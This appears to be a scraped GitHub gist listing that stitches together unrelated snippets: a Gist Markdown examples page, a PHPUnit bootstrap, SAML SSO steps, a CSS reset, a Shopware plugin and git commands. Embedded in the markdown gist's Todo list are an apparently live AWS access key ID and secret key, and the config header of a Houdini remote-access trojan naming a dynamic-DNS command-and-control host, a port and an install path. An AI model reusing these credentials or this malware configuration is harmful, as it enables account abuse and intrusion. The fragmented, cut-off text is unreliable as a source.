Skip to content

Instantly share code, notes, and snippets.

@ww9
ww9 / gist_markdown_examples.md
Last active February 23, 2026 02:33
Gist markdown examples

Gist markdown examples

A collection of Markdown code and tricks that were tested to work in Gist.

This and all public gists in https://gist.github.com/ww9 are Public Domain. Do whatever you want with it including , no need to credit me.

Todo

  • Reformat this whole document and assimilate these:
[ec2-5594cc8b8e642cab]
aws_access_key_id = AKIAIQZOGKGUIYECPFTA
aws_secret_access_key = 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
'<[ recoder : houdini (c) skype : houdini-fx ]>
'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
host = "bog5151.zapto.org"
port = 991
installdir = "%appdata%"
lnkfile = true
lnkfolder = true
@popovserhii
popovserhii / Bootstrap.php
Last active March 27, 2020 10:59
ZF3 PHPUnit Bootstrap
<?php
namespace StagemTest\Order;
use Psr\Container\ContainerInterface;
use Zend\Mvc\Service\ServiceManagerConfig;
use Zend\ServiceManager\ServiceManager;
use Zend\Stdlib\ArrayUtils;
/**
* Test bootstrap, for setting up autoloading
@zbigniewTomczak
zbigniewTomczak / SSO Steps
Last active September 11, 2019 19:52
SAML SSO Steps
1. User accesses a custom application for the first time
2. Service Provider Security Filter checks if the security context is available
and redirects the user to IDP (Identity Provider) with a SAML SSO request
3. IDP challenges the user with the authentication dialog and redirects the user to
Request Assertion Consumer Service (RACS) after the user has authenticated
4. RACS validates the response from IDP, establishes a security context and redirects the user
to the original application endpoint
5. Service Provider Security Filter enforces that a valid security context is available and lets the user
access the custom application.
@muratpurc
muratpurc / html5doctor_css_reset.css
Created June 27, 2016 09:59
html5doctor.com Reset Stylesheet
/*
html5doctor.com Reset Stylesheet
v1.6.1
Last Updated: 2010-09-17
Author: Richard Clark - http://richclarkdesign.com
Twitter: @rich_clark
*/
html, body, div, span, object, iframe,
h1, h2, h3, h4, h5, h6, p, blockquote, pre,
@Rayne
Rayne / F3PHPUnitTest.php
Created May 23, 2015 11:07
Basic FatFreeFramework/Base->mock() + PHPUnit example
<?php
class F3PHPUnitTest extends PHPUnit_Framework_TestCase {
public function test() {
$f3 = Base::instance();
// Don't write to STDOUT
$f3->set('QUIET', true);
$f3->route('GET /path', function(){ echo 'TEXT'; });
@myusuf3
myusuf3 / delete_git_submodule.md
Created November 3, 2014 17:36
How effectively delete a git submodule.

To remove a submodule you need to:

  • Delete the relevant section from the .gitmodules file.
  • Stage the .gitmodules changes git add .gitmodules
  • Delete the relevant section from .git/config.
  • Run git rm --cached path_to_submodule (no trailing slash).
  • Run rm -rf .git/modules/path_to_submodule (no trailing slash).
  • Commit git commit -m "Removed submodule "
  • Delete the now untracked submodule files rm -rf path_to_submodule
@sthamann
sthamann / OrderMod_Bootstrap.php
Last active March 19, 2021 12:14
Advanced Example how to create 2 custom fields, fill them in order process, display them in backend order list as new columns and make them editable in order detail view
<?php
class Shopware_Plugins_Frontend_OrderMod_Bootstrap extends Shopware_Components_Plugin_Bootstrap
{
/**
* (non-PHPdoc)
* @see Shopware_Components_Plugin_Bootstrap::install()
*/
public function install()
{
git tag v1.0-Final #sets lightweight tag as v1.0-Final on last commit
git tag #list tags

git push --tags #pushes tags to github